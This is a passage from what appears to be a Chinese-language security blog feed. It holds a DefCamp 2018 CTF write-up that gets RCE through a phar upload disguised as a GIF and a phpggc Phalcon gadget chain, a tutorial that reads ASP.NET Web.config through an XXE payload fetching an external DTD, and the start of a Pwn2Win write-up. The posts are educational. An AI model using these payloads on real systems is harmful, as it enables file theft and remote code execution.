<p>&#x4E00;&#x958B;&#x59CB;&#x6709;&#x5728;&#x731C;&#x60F3;&#x6253; SSRF &#x7684;&#x53EF;&#x80FD;&#x6027;&#xFF0C;&#x4F46;&#x6700;&#x5F8C; 5 &#x689D;&#x6E2C;&#x8A66;&#x7D50;&#x679C;&#x5C01;&#x6389;&#x4E86;&#x9019;&#x689D;&#x8DEF;&#x3002;&#x6E2C;&#x8A66;&#x5B8C;&#x770B;&#x8D77;&#x4F86;&#x662F;&#x5B58;&#x5728; file system &#x4E0A; Path Traversal &#x7684;&#x554F;&#x984C;&#xFF0C;&#x5176;&#x4E2D;&#x4E00;&#x689D; <code>uploads/aaaa/../5ba7c28447e19.png</code> &#x8B93;&#x6211;&#x7279;&#x5225;&#x611F;&#x8208;&#x8DA3;&#xFF0C;&#x56E0;&#x70BA;&#x9019;&#x500B;&#x7D50;&#x679C;&#x662F; Linux file system &#x7684;&#x884C;&#x70BA;&#x5C0E;&#x81F4;&#xFF0C;&#x5728; Linux &#x4E0B;&#x5373;&#x4F7F;&#x4F60;&#x5F8C;&#x65B9;&#x6709; <code>../</code> &#x4F46;&#x524D;&#x65B9;&#x7684;&#x8DEF;&#x5F91;&#x662F;&#x4E00;&#x500B;&#x4E0D;&#x5B58;&#x5728;&#x7684;&#x8CC7;&#x6599;&#x593E;&#xFF0C;file system &#x9084;&#x662F;&#x6703;&#x8FD4;&#x56DE; <code>No such file or directory</code>&#xFF0C;&#x53EF;&#x4EE5;&#x81EA;&#x884C;&#x5728;&#x81EA;&#x5DF1;&#x7684;&#x4E3B;&#x6A5F;&#x4E0A;&#x6E2C;&#x8A66;&#x6307;&#x4EE4; <code>ls -la /etc/aaaa/../</code>&#x3002;</p>
<p>&#x7D9C;&#x5408;&#x4EE5;&#x4E0A;&#x7684;&#x6E2C;&#x8A66;&#x7D50;&#x679C;&#xFF0C;&#x53EF;&#x4EE5;&#x731C;&#x60F3;&#x4F3A;&#x670D;&#x5668;&#x7AEF;&#x53EF;&#x80FD;&#x662F;&#x900F;&#x904E; PHP &#x4E2D;&#x985E;&#x4F3C; file_exists &#x7684;&#x51FD;&#x6578;&#x5C0D;&#x6A94;&#x6848;&#x5B58;&#x5728;&#x9032;&#x884C;&#x6AA2;&#x67E5;&#x3002;</p>
<p>&#x9019;&#x908A;&#x8981;&#x63D0;&#x5230;&#x4E00;&#x4EF6;&#x6709;&#x8DA3;&#x7684;&#x4E8B;&#x5BE6;&#xFF0C;&#x82E5;&#x4F7F;&#x7528;&#x7684;&#x662F; PHP file_exists &#x51FD;&#x6578;&#xFF0C;&#x9019;&#x500B;&#x51FD;&#x6578;&#x53EF;&#x4EE5;&#x63A5;&#x53D7;&#x4F7F;&#x7528; phar:// Stream Wrapper&#xFF0C;&#x5728; Seebug Paper &#x4E2D;&#x6709;&#x4E00;&#x7BC7;&#x6587;&#x7AE0; <a href="https://paper.seebug.org/680/#22-demo">&#x5229;&#x7528; phar &#x62D3;&#x5C55; php &#x53CD;&#x5E8F;&#x5217;&#x5316;&#x6F0F;&#x6D1E;&#x653B;&#x51FB;&#x9762;</a> &#x4E2D;&#x5C31;&#x6709;&#x66FF;&#x6211;&#x5011;&#x6E2C;&#x8A66;&#x4E26;&#x6574;&#x7406;&#x51FA; PHP &#x4E2D;&#x53EF;&#x4EE5;&#x63A5;&#x53D7; phar:// &#x7684;&#x6240;&#x6709; file system &#x76F8;&#x95DC;&#x51FD;&#x6578;&#x3002;</p>
<p>&#x5617;&#x8A66;&#x751F;&#x6210;&#x4E00;&#x500B; phar &#x6A94;&#x6848;&#xFF0C;&#x5229;&#x7528;&#x4E0A;&#x50B3;&#x5716;&#x7247;&#x529F;&#x80FD;&#x4E0A;&#x50B3;&#x81F3;&#x4F3A;&#x670D;&#x5668;&#x4E0A;&#xFF0C;&#x9019;&#x908A;&#x5FC5;&#x9808;&#x7528; setStub &#x6DFB;&#x52A0; <code>GIF89a</code> &#x5728; phar &#x6A94;&#x6848;&#x7684;&#x958B;&#x982D;&#xFF0C;&#x624D;&#x80FD;&#x901A;&#x904E;&#x6700;&#x524D;&#x9762;&#x4E0A;&#x50B3;&#x5716;&#x7247;&#x6642;&#x7684;&#x6AA2;&#x67E5;&#x9650;&#x5236;&#x3002;</p>
<pre><code class="language-php">&lt;?php
@unlink(&apos;phar.phar&apos;);
$p = new Phar(&apos;phar.phar&apos;);
$p-&gt;startBuffering();
$p-&gt;setStub(&quot;GIF89a&lt;?php xxx; __HALT_COMPILER();?&gt;&quot;);
$p-&gt;addFromString(&quot;test.txt&quot;, &quot;test&quot;);
$p-&gt;stopBuffering();
</code></pre>
<p>&#x4E0A;&#x50B3;&#x6210;&#x529F;&#x5F8C;&#x5617;&#x8A66;&#x5728; /feed &#x9032;&#x884C;&#x65B0;&#x589E;&#xFF0C;&#x4E0D;&#x540C;&#x7684;&#x662F; image &#x6539;&#x4F7F;&#x7528; phar:// &#x53BB;&#x5F15;&#x5165;&#x4E0A;&#x50B3;&#x7684; gif &#x6A94;&#x6848;&#xFF0C;&#x7D50;&#x679C;&#x662F;&#x5728; /feed &#x65B0;&#x589E;&#x6210;&#x529F;&#xFF01;</p>
<pre><code>POST /feed HTTP/1.1
Host: vulture.dctfq18.def.camp
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=bips9g67d33adc7ptrur9f03e2

image=phar://uploads/5ba897805da92.gif/test.txt&amp;text=asdasd
</code></pre>
<p>&#x73FE;&#x5728;&#x6211;&#x5011;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; phar:// &#x53BB;&#x5F15;&#x5165;&#x6A94;&#x6848;&#xFF0C;&#x7136;&#x5F8C;&#x5462;&#xFF1F;&#x63A5;&#x7E8C;&#x525B;&#x525B;&#x7684;&#x4E8B;&#x5BE6;&#xFF0C;PHP &#x7684; Phar &#x7269;&#x4EF6;&#x6709;&#x500B;&#x65B9;&#x6CD5;&#x53EB;&#x505A; <a href="http://php.net/manual/en/phar.setmetadata.php">setMetadata</a>&#xFF0C;&#x4ED6;&#x53EF;&#x4EE5;&#x5728;&#x7522;&#x751F;&#x51FA;&#x7684; phar &#x6A94;&#x6848;&#x4E2D;&#x585E;&#x5165;&#x4E00;&#x500B; PHP &#x7269;&#x4EF6;&#x5E8F;&#x5217;&#x5316;&#x5F8C;&#x7684;&#x8CC7;&#x6599;&#xFF0C;&#x9019;&#x500B;&#x5E8F;&#x5217;&#x5316;&#x7684;&#x8CC7;&#x6599;&#x6703;&#x5728;&#x4E0B;&#x6B21;&#x4F7F;&#x7528; phar:// &#x53BB;&#x5F15;&#x5165; phar &#x6A94;&#x6848;&#x6642;&#x88AB;&#x53CD;&#x5E8F;&#x5217;&#x5316;&#xFF0C;&#x9019;&#x500B;&#x4E8B;&#x5BE6;&#x5728;&#x6211;&#x77E5;&#x9053;&#x7684;&#x7BC4;&#x570D;&#x5167;&#xFF0C;&#x6700;&#x65E9;&#x662F;&#x5728; HITCON 2017 Quals &#x4E2D;&#x7684;&#x4E00;&#x9053;&#x7531; Orange &#x6240;&#x51FA;&#x7684; Web &#x984C;&#x76EE; <a href="https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017">Baby^H Master PHP 2017</a> &#x51FA;&#x73FE;&#x7684;&#x5229;&#x7528;&#x3002;</p>
<p>&#x7D42;&#x65BC;&#x6211;&#x5011;&#x6709;&#x4E86;&#x4E00;&#x500B; blind unserialize &#x6F0F;&#x6D1E;&#xFF0C;&#x53EF;&#x662F;&#x53C8;&#x8A72;&#x5982;&#x4F55;&#x5229;&#x7528;&#xFF1F;&#x8A18;&#x5F97;&#x5148;&#x524D; fuzz &#x6709;&#x767C;&#x73FE;&#x5F8C;&#x7AEF;&#x662F;&#x4F7F;&#x7528; Phalcon framework &#x64B0;&#x5BEB;&#x7684;&#x55CE;&#xFF1F;&#x6709;&#x4E00;&#x500B;&#x958B;&#x6E90;&#x7684;&#x5C08;&#x6848;&#x53EB;&#x505A; <a href="https://github.com/ambionics/phpggc">phpggc</a>&#xFF0C;&#x88E1;&#x9762;&#x6536;&#x96C6;&#x4E86;&#x4E00;&#x4E9B;&#x5E38;&#x898B; PHP framework &#x7684;&#x901A;&#x7528; unserialize gadget chain&#xFF0C;&#x5176;&#x4E2D;&#x4E00;&#x9805;&#x5C31;&#x662F;&#xFF1A;</p>
<pre><code>NAME           VERSION    TYPE   VECTOR     I
Phalcon/RCE1   &lt;= 1.2.2   rce    __wakeup   *
</code></pre>
<p>&#x7E3D;&#x4E4B;&#x5148;&#x6253;&#x4E0B;&#x53BB;&#x518D;&#x8AAA;&#xFF01;&#x6211;&#x500B;&#x4EBA;&#x6BD4;&#x8F03;&#x5077;&#x61F6;&#xFF0C;&#x6240;&#x4EE5;&#x76F4;&#x63A5;&#x4FEE;&#x6539; <code>phpggc/gadgetchains/Phalcon/RCE/1/chain.php</code> &#x9019;&#x500B;&#x6A94;&#x6848;&#xFF0C;&#x5728; generate &#x51FD;&#x6578;&#x88E1;&#x628A;&#x7522;&#x51FA;&#x7684; gadget chain &#x7684;&#x7269;&#x4EF6;&#x5305;&#x9032; Phar &#x5BEB;&#x9032;&#x4E00;&#x500B; phar.phar &#x6A94;&#x6848;&#x88E1;&#x982D;&#x3002;</p>
<pre><code>public function generate(array $parameters)
{
    @unlink(&apos;phar.phar&apos;);
    $p = new Phar(&apos;phar.phar&apos;);
    $p-&gt;startBuffering();
    $p-&gt;setStub(&quot;GIF89a&lt;?php xxx; __HALT_COMPILER();?&gt;&quot;);
    $p-&gt;addFromString(&quot;test.txt&quot;, &quot;test&quot;);
    $p-&gt;setMetadata(new \Phalcon\Logger\Adapter\File());
    $p-&gt;stopBuffering();
    return new \Phalcon\Logger\Adapter\File();
}
</code></pre>
<p>&#x751F;&#x6210;&#x597D; phar.phar &#x6539;&#x526F;&#x6A94;&#x540D;&#x70BA; gif &#x4E1F;&#x4E0A;&#x4F3A;&#x670D;&#x5668;&#xFF0C;&#x518D;&#x7528; phar:// &#x5F15;&#x5165;&#x3002;&#x55EF;&#xFF1F;&#x597D;&#x50CF;&#x6709;&#x5947;&#x602A;&#x7684;&#x8A0A;&#x606F;&#x8DD1;&#x51FA;&#x4F86;&#x4E86;&#x3002;</p>
<p><img src="https://cyku.tw/content/images/2018/09/defcamp_ctf_2018_vulture_02.png" alt="defcamp_ctf_2018_vulture_02" loading="lazy"></p>
<p>&#x53EF;&#x4EE5;&#x770B;&#x4E00;&#x4E0B; phpggc &#x7684; <a href="https://github.com/ambionics/phpggc/blob/master/gadgetchains/Phalcon/RCE/1/gadgets.php">Phalcon RCE gadget chain</a> &#x662F;&#x5982;&#x4F55;&#x4E32;&#x7684;&#xFF0C;&#x770B;&#x8D77;&#x4F86;&#x662F;&#x6703;&#x9032;&#x5230;&#x4E00;&#x500B; <code>\Phalcon\Mvc\View\Engine\Php</code> &#x7684; class&#xFF0C;&#x518D;&#x8D70;&#x5230;&#x88E1;&#x9762;&#x6709;&#x4E00;&#x884C; <a href="https://github.com/phalcon/cphalcon/blob/master/phalcon/mvc/view/engine/php.zep#L55"><code>require path;</code></a>&#xFF0C;&#x800C; phpggc &#x63D0;&#x4F9B;&#x7684; gadget &#x6703;&#x4EE3;&#x5165; <code>php://input</code> &#x7684;&#x503C;&#x7D66; path &#x53C3;&#x6578;&#x3002;</p>
<p>&#x6240;&#x4EE5;&#x53EA;&#x8981;&#x5728; POST Body &#x4E0A;&#x5BEB;&#x5165; PHP Code&#xFF0C;&#x5C31;&#x80FD;&#x9806;&#x5229; RCE &#x4E86;&#xFF01;</p>
<p><img src="https://cyku.tw/content/images/2018/09/defcamp_ctf_2018_vulture_03.png" alt="defcamp_ctf_2018_vulture_03" loading="lazy"></p>
<p>&#x6700;&#x5F8C;&#x7684; flag&#xFF01;<br>
<img src="https://cyku.tw/content/images/2018/09/defcamp_ctf_2018_vulture_04.png" alt="defcamp_ctf_2018_vulture_04" loading="lazy"></p>
<pre><code>DCTF{fe2361512d671c3770c35c24f122a5d9cc3b5c43884058cb87942336e07c7f86}
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[ASP.NET 下利用 XXE 讀取 Web.config]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>XXE (XML External Entity Injection) &#x662F;&#x500B;&#x5C0D; Server &#x7AEF;&#x5F88;&#x5F37;&#x529B;&#x7684;&#x653B;&#x64CA;&#x624B;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x9032;&#x800C;&#x5BE6;&#x73FE; Server-Side Request Forgery&#x3001;Arbitrary File Read &#x7684;&#x5229;&#x7528;&#x3002;&#x96D6;&#x7136;&#x53EF;&#x4EE5;&#x5229;&#x7528; XXE &#x8B80;&#x53D6;&#x4E00;&#x4E9B;&#x8F03;&#x7C21;&#x55AE;</p>]]></description><link>https://cyku.tw/xxe-read-web-config-on-asp-net/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f3409</guid><category><![CDATA[Web Security]]></category><category><![CDATA[ASP.NET]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Fri, 17 Aug 2018 18:16:11 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>XXE (XML External Entity Injection) &#x662F;&#x500B;&#x5C0D; Server &#x7AEF;&#x5F88;&#x5F37;&#x529B;&#x7684;&#x653B;&#x64CA;&#x624B;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x9032;&#x800C;&#x5BE6;&#x73FE; Server-Side Request Forgery&#x3001;Arbitrary File Read &#x7684;&#x5229;&#x7528;&#x3002;&#x96D6;&#x7136;&#x53EF;&#x4EE5;&#x5229;&#x7528; XXE &#x8B80;&#x53D6;&#x4E00;&#x4E9B;&#x8F03;&#x7C21;&#x55AE;&#x7684;&#x79C1;&#x5BC6;&#x7684; config&#x3001;key &#x6A94;&#x6848;&#xFF0C;&#x4F46;&#x82E5;&#x60F3;&#x8B80;&#x53D6;&#x5167;&#x542B; XML &#x4F7F;&#x7528;&#x7684;&#x7279;&#x6B8A;&#x5B57;&#x5143; (&#x4F8B;&#x5982;: <code>&gt;</code>, <code>&lt;</code>) &#x7684;&#x6A94;&#x6848;&#xFF0C;&#x5C31;&#x6703;&#x7522;&#x751F;&#x4E00;&#x4E9B;&#x554F;&#x984C;&#x3002;&#x4ECA;&#x5929;&#x5206;&#x4EAB;&#x5176;&#x4E2D;&#x4E00;&#x500B;&#x5982;&#x4F55;&#x5229;&#x7528; XXE &#x8B80;&#x53D6; Web.config &#x7684;&#x5C0F;&#x6280;&#x5DE7;&#x3002;</p>
<p>&#x5728; ASP.NET &#x7684;&#x74B0;&#x5883;&#x4E0B;&#xFF0C;Web.config &#x662F;&#x7528;&#x4F86;&#x63A7;&#x5236;&#x91DD;&#x5C0D; ASP.NET Application &#x8A2D;&#x5B9A;&#x7684;&#x91CD;&#x8981;&#x6A94;&#x6848;&#xFF0C;&#x5167;&#x5BB9;&#x901A;&#x5E38;&#x90FD;&#x542B;&#x6709;&#x6975;&#x70BA;&#x91CD;&#x8981;&#x7684;&#x8CC7;&#x8A0A;&#xFF0C;&#x6BD4;&#x5982;&#x53EF;&#x80FD;&#x6703;&#x5B58;&#x653E;&#x5C0D;&#x8CC7;&#x6599;&#x5EAB;&#x7684; Connection String&#x3001;&#x50B3;&#x8F38;&#x6642;&#x52A0;&#x89E3;&#x5BC6;&#x6240;&#x4F7F;&#x7528;&#x7684; Key&#xFF0C;&#x800C; Web.config &#x5167;&#x5BB9;&#x662F;&#x63A1;&#x7528; XML &#x7684;&#x683C;&#x5F0F;&#x3002;</p>
<p>&#x63A5;&#x4E0B;&#x4F86;&#x7684;&#x6E2C;&#x8A66;&#x90FD;&#x6703;&#x4F7F;&#x7528;&#x4E0B;&#x9762;&#x4E00;&#x500B;&#x7C21;&#x55AE;&#x7684; Web.config:</p>
<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;configuration&gt;
    &lt;appSettings/&gt;
    &lt;connectionStrings/&gt;
    &lt;system.web&gt;
    &lt;compilation debug=&quot;true&quot;/&gt;
        &lt;customErrors mode=&quot;Off&quot; /&gt;
        &lt;pages validateRequest=&quot;false&quot; /&gt;
        &lt;httpRuntime requestValidationMode=&quot;2.0&quot; /&gt;
    &lt;/system.web&gt;
    &lt;!-- I am comment --&gt;
&lt;/configuration&gt;
</code></pre>
<p>&#x5F9E;&#x4E0A;&#x9762;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#xFF0C;Web.config &#x5C31;&#x662F;&#x4E00;&#x500B;&#x6A19;&#x6E96;&#x7684; XML &#x683C;&#x5F0F;&#xFF0C;&#x82E5;&#x60F3;&#x4F7F;&#x7528;&#x4E00;&#x822C;&#x7684; XXE Payload &#x53BB;&#x8B80;&#x53D6;&#x5C31;&#x53EF;&#x80FD;&#x7522;&#x751F;&#x554F;&#x984C;&#xFF0C;&#x6703;&#x5F97;&#x4E0D;&#x5230;&#x9810;&#x671F;&#x7684;&#x7D50;&#x679C;&#x3002;</p>
<p>&#x63A5;&#x4E0B;&#x4F86;&#x7684;&#x6E2C;&#x8A66;&#x74B0;&#x5883;&#x90FD;&#x6703;&#x4F7F;&#x7528;&#x4E0B;&#x9762;&#x4E00;&#x500B;&#x7C21;&#x55AE;&#x3001;&#x7C97;&#x7CD9;&#x7684; ASP.NET &#x7A0B;&#x5F0F;&#x9032;&#x884C;&#x6E2C;&#x8A66;&#x3002;</p>
<pre><code class="language-aspnet">&lt;%@ Page Language=&quot;C#&quot;%&gt;
&lt;%@ Import Namespace=&quot;System&quot; %&gt;
&lt;%@ Import Namespace=&quot;System.Xml&quot; %&gt;
&lt;%
    XmlDocument doc = new XmlDocument();
    String data = Request.Params[&quot;data&quot;];
    doc.LoadXml(data);
    XmlNode node = doc.SelectSingleNode(&quot;/root/name&quot;);
    Response.Write(node.InnerText);
%&gt;
</code></pre>
<p>&#x9019;&#x500B;&#x7A0B;&#x5F0F;&#x5F88;&#x55AE;&#x7D14;&#x5730;&#x5C07;&#x50B3;&#x5165;&#x7684; data &#x53C3;&#x6578;&#x5167;&#x5BB9;&#x4E1F;&#x5165; XmlDocument &#x4F5C;&#x89E3;&#x6790;&#xFF0C;&#x518D;&#x5C07; <code>&lt;root /&gt;</code> &#x5143;&#x7D20;&#x4E0B;&#x7684; <code>&lt;name /&gt;</code> &#x7684;&#x6587;&#x5B57;&#x8CC7;&#x6599;&#x5410;&#x51FA;&#x4F86;&#xFF0C;&#x672A;&#x7981;&#x6B62; External Entity&#x3002;</p>
<p>&#x9996;&#x5148;&#x5617;&#x8A66;&#x5229;&#x7528; External Entity &#x8B80;&#x53D6; <code>C:\Windows\win.ini</code>&#xFF0C;&#x56E0;&#x70BA;&#x662F;&#x7C21;&#x55AE;&#x7684;&#x6587;&#x5B57;&#x6A94;&#x6848;&#xFF0C;&#x5F88;&#x9806;&#x5229;&#x5730;&#x8B80;&#x53D6;&#x6210;&#x529F;&#x3002;<br>
<img src="https://cyku.tw/content/images/2018/08/asp_xxe_01.png" alt="asp_xxe_01" loading="lazy"></p>
<p>&#x63A5;&#x8457;&#x5617;&#x8A66;&#x8B80;&#x53D6; <code>C:\inetpub\wwwroot\Web.config</code>&#xFF0C;&#x770B;&#x8D77;&#x4F86;&#x80FD;&#x6B63;&#x5E38;&#x8B80;&#x53D6;&#xFF0C;&#x4F46;&#x537B;&#x6C92;&#x6709;&#x5167;&#x5BB9;&#x3002;<br>
<img src="https://cyku.tw/content/images/2018/08/asp_xxe_02.png" alt="asp_xxe_02" loading="lazy"></p>
<p>&#x539F;&#x56E0;&#x51FA;&#x5728;&#x8F38;&#x51FA; <code>&lt;name /&gt;</code> &#x7684;&#x5167;&#x5BB9;&#x6642;&#x662F;&#x4F7F;&#x7528; <code>node.InnerText</code>&#xFF0C;&#x5373;&#x4F7F;&#x6211;&#x5011;&#x6210;&#x529F;&#x5F15;&#x5165; Web.config&#xFF0C;&#x4F46;&#x8CC7;&#x8A0A;&#x90FD;&#x662F;&#x653E;&#x7F6E;&#x5728;&#x5404;&#x500B; Element &#x7684; Attributes &#x4E2D;&#xFF0C;&#x800C; InnerText &#x50C5;&#x6703;&#x8F38;&#x51FA;&#x6587;&#x5B57;&#x8CC7;&#x6599;&#xFF0C;&#x4E26;&#x4E0D;&#x5305;&#x542B; Element &#x672C;&#x8EAB;&#x7684; Tag name &#x548C; Attributes&#x3002;</p>
<p>&#x6B64;&#x6642;&#x5C31;&#x53EF;&#x4EE5;&#x5229;&#x7528; XML &#x4E2D;&#x7684; CDATA Section &#x5C07; Web.config &#x5B8C;&#x6574;&#x5730;&#x8B80;&#x53D6;&#x51FA;&#x4F86;&#x3002;&#x5728; CDATA Section &#x4E2D;&#xFF0C;XML &#x89E3;&#x6790;&#x5668;&#x4E0D;&#x6703;&#x5617;&#x8A66;&#x5C07; <code>&lt;</code>&#x3001;<code>&gt;</code> &#x7B49;&#x5B57;&#x5143;&#x4F5C;&#x89E3;&#x6790;&#xFF0C;&#x6703;&#x7576;&#x4F5C;&#x7D14;&#x7CB9;&#x7684;&#x6587;&#x5B57;&#x8CC7;&#x6599;&#x3002;</p>
<p>&#x8A66;&#x8457;&#x5728; CDATA &#x4E2D;&#x5D4C;&#x5165; <code>&lt;</code>&#x3001;<code>&gt;</code> &#x5B57;&#x5143;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230; <code>&lt;foo&gt;bar&lt;/foo&gt;</code> &#x88AB;&#x5B8C;&#x6574;&#x5730;&#x8F38;&#x51FA;&#x4E86;&#x3002;<br>
<img src="https://cyku.tw/content/images/2018/08/asp_xxe_03.png" alt="asp_xxe_03" loading="lazy"></p>
<p>&#x4F46;&#x82E5;&#x60F3;&#x76F4;&#x63A5;&#x5728; CDATA Section &#x5167;&#x5F15;&#x7528; Entity &#x662F;&#x4E0D;&#x884C;&#x7684;&#xFF0C;&#x56E0;&#x70BA;&#x4E0D;&#x6703;&#x89E3;&#x6790;&#x3002;<br>
<img src="https://cyku.tw/content/images/2018/08/asp_xxe_04.png" alt="asp_xxe_04" loading="lazy"></p>
<p>&#x6240;&#x4EE5;&#x9700;&#x8981;&#x5229;&#x7528; Parameter Entity &#x5C07;&#x8CC7;&#x6599;&#x8207; CDATA Section &#x7684;&#x982D;&#x5C3E;&#x62FC;&#x63A5;&#x653E;&#x5165;&#x53E6;&#x4E00;&#x500B; Entity&#xFF0C;&#x518D;&#x5F15;&#x5165;&#x8A72; Entity &#x624D;&#x80FD;&#x5920;&#x9806;&#x5229;&#x8F38;&#x51FA;&#x3002;</p>
<p>data &#x53C3;&#x6578;&#x8F38;&#x5165;:</p>
<pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;!DOCTYPE root [
    &lt;!ENTITY % start &quot;&lt;![CDATA[&quot;&gt;
    &lt;!ENTITY % file PUBLIC &quot;data&quot; &quot;file://C:\inetpub\wwwroot\Web.config&quot;&gt;
    &lt;!ENTITY % end &quot;]]&gt;&quot;&gt;
    &lt;!ENTITY % dtd SYSTEM &quot;http://192.168.56.1/external.dtd&quot;&gt;
    %dtd;
]&gt;&lt;root&gt;&lt;name&gt;&amp;all;&lt;/name&gt;&lt;/root&gt;
</code></pre>
<p>&#x8981;&#x5F15;&#x5165;&#x7684; <code>http://192.168.56.1/external.dtd</code>:</p>
<pre><code>&lt;!ENTITY all &quot;%start;%file;%end;&quot;&gt;
</code></pre>
<p>&#x4E0A;&#x8FF0; Payload &#x767C;&#x751F;&#x7684;&#x4E8B;&#x60C5;&#x662F; <code>%dtd;</code> &#x6703;&#x5148;&#x5617;&#x8A66;&#x5F15;&#x5165; external.dtd &#x6587;&#x4EF6;&#xFF0C;&#x5728; external.dtd &#x6587;&#x4EF6;&#x4E2D;&#x5206;&#x5225;&#x53C8;&#x6703;&#x5F15;&#x5165; Parameter Entity <code>%start;</code>&#x3001;<code>%file;</code>&#x3001;<code>%end;</code> &#x53BB;&#x69CB;&#x9020;&#x51FA; <code>all</code> Entity &#x7684;&#x503C;&#xFF0C;&#x6700;&#x5F8C;&#x5728;&#x539F;&#x672C;&#x7684; XML &#x88E1;&#x9762; <code>&amp;all;</code> &#x5C31;&#x80FD;&#x5F15;&#x7528;&#x5230;&#x7531; CDATA Section &#x5305;&#x593E;&#x8D77;&#x4F86;&#x7684; Web.config &#x7684;&#x7D14;&#x6587;&#x5B57;&#x8CC7;&#x6599;&#x3002;</p>
<p>&#x6210;&#x529F;&#x8B80;&#x53D6;&#x5230;&#x5B8C;&#x6574;&#x7684; Web.config&#xFF0C;&#x9023;&#x540C;&#x8A3B;&#x89E3;&#x7684;&#x5167;&#x5BB9;&#x90FD;&#x80FD;&#x770B;&#x5F97;&#x5230;&#x3002;<br>
<img src="https://cyku.tw/content/images/2018/08/asp_xxe_05.png" alt="asp_xxe_05" loading="lazy"></p>
<p>&#x91DD;&#x5C0D; XXE &#x7684;&#x5229;&#x7528;&#x6280;&#x5DE7;&#x9084;&#x6709;&#x8A31;&#x591A;&#x7A2E;&#xFF0C;&#x672C;&#x7BC7;&#x5206;&#x4EAB;&#x7684;&#x662F;&#x6211;&#x500B;&#x4EBA;&#x8A8D;&#x70BA;&#x9084;&#x7B97;&#x633A;&#x6709;&#x8DA3;&#x7684;&#x4E00;&#x500B;&#x6280;&#x5DE7;&#xFF0C;&#x6709;&#x8208;&#x8DA3;&#x60F3;&#x4E86;&#x89E3;&#x66F4;&#x591A;&#x7684;&#x4EBA;&#x53EF;&#x4EE5;&#x53C3;&#x8003;&#x4E0B;&#x65B9; References &#x7684;&#x9023;&#x7D50;&#x3002;</p>
<h3 id="references">References:</h3>
<ul>
<li><a href="https://gist.github.com/staaldraad/01415b990939494879b4">https://gist.github.com/staaldraad/01415b990939494879b4</a></li>
<li><a href="https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/">https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/</a></li>
<li><a href="https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.5/ms256483(v%3dvs.90)">https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.5/ms256483(v%3Dvs.90)</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Pwn2Win 2017 Write-up: Web - Criminals]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x7D42;&#x89E3;&#x958B;&#x9019;&#x9053;&#x984C;&#x76EE;&#x6642;&#xFF0C;&#x767C;&#x73FE;&#x5176;&#x5BE6;&#x4E26;&#x4E0D;&#x56F0;&#x96E3;&#xFF0C;&#x4F46;&#x56E0;&#x4F5C;&#x8005;&#x6211;&#x9084;&#x662F;&#x500B;&#x83DC;&#x96DE;&#xFF0C;&#x4E14;&#x5C0D;&#x9019;&#x9053;&#x984C;&#x76EE;&#x7684;&#x670D;&#x52D9;&#x6240;&#x4F7F;&#x7528;&#x7684;&#x5DE5;&#x5177;&#x5B8C;&#x5168;&#x6C92;&#x63A5;&#x89F8;</p>]]></description><link>https://cyku.tw/pwn2win-ctf-2017-write-up-web-criminals/</link><guid isPermaLink="false">628fa3d67bed5b4c6d9f3408</guid><category><![CDATA[CTF]]></category><category><![CDATA[Migrated From Wordpress]]></category><dc:creator><![CDATA[Cyku]]></dc:creator><pubDate>Wed, 25 Oct 2017 13:11:10 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>&#x6700;&#x7D42;&#x89E3;&#x958B;&#x9019;&#x9053;&#x984C;&#x76EE;&#x6642;&#xFF0C;&#x767C;&#x73FE;&#x5176;&#x5BE6;&#x4E26;&#x4E0D;&#x56F0;&#x96E3;&#xFF0C;&#x4F46;&#x56E0;&#x4F5C;&#x8005;&#x6211;&#x9084;&#x662F;&#x500B;&#x83DC;&#x96DE;&#xFF0C;&#x4E14;&#x5C0D;&#x9019;&#x9053;&#x984C;&#x76EE;&#x7684;&#x670D;&#x52D9;&#x6240;&#x4F7F;&#x7528;&#x7684;&#x5DE5;&#x5177;&#x5B8C;&#x5168;&#x6C92;&#x63A5;&#x89F8;&#x904E;&#xFF0C;&#x904E;&#x7A0B;&#x4E2D;&#x7E5E;&#x4E86;&#x8A31;&#x591A;&#x5708;&#x5B50;&#x3001;&#x8D70;&#x4E86;&#x8A31;&#x591A;&#x6B6A;&#x8DEF;&#xFF0C;&#x4E0D;&#x904E;&#x4E5F;&#x7D2F;&#x7A4D;&#x4E86;&#x4E0D;&#x5C11;&#x6709;&#x7528;&#x7684;&#x7D93;&#x9A57;&#xFF0C;&#x65BC;&#x662F;&#x5C31;&#x4F86;&#x70BA;&#x9019;&#x9053;&#x984C;&#x76EE;&#x5BEB;&#x7BC7; Write-up&#xFF0C;&#x540C;&#x6642;&#x4E5F;&#x8A73;&#x7D30;&#x8A18;&#x9304;&#x4E0B;&#x6211;&#x6240;&#x8D70;&#x7684;&#x5404;&#x7A2E;&#x6B6A;&#x8DEF; (&#xB4;; &#x3C9; ;`)</p>
<!--more-->  
<p>&#x539F;&#x59CB;&#x7684;&#x984C;&#x76EE;&#x8AAA;&#x660E;&#x5F88;&#x55AE;&#x7D14;&#xFF1A;</p>
<blockquote>
<h4 id="criminals">Criminals</h4>
<p>Hey, Rebellious member, let&apos;s hack this Bloodsuckers web app. I think they keep some secret.<br>
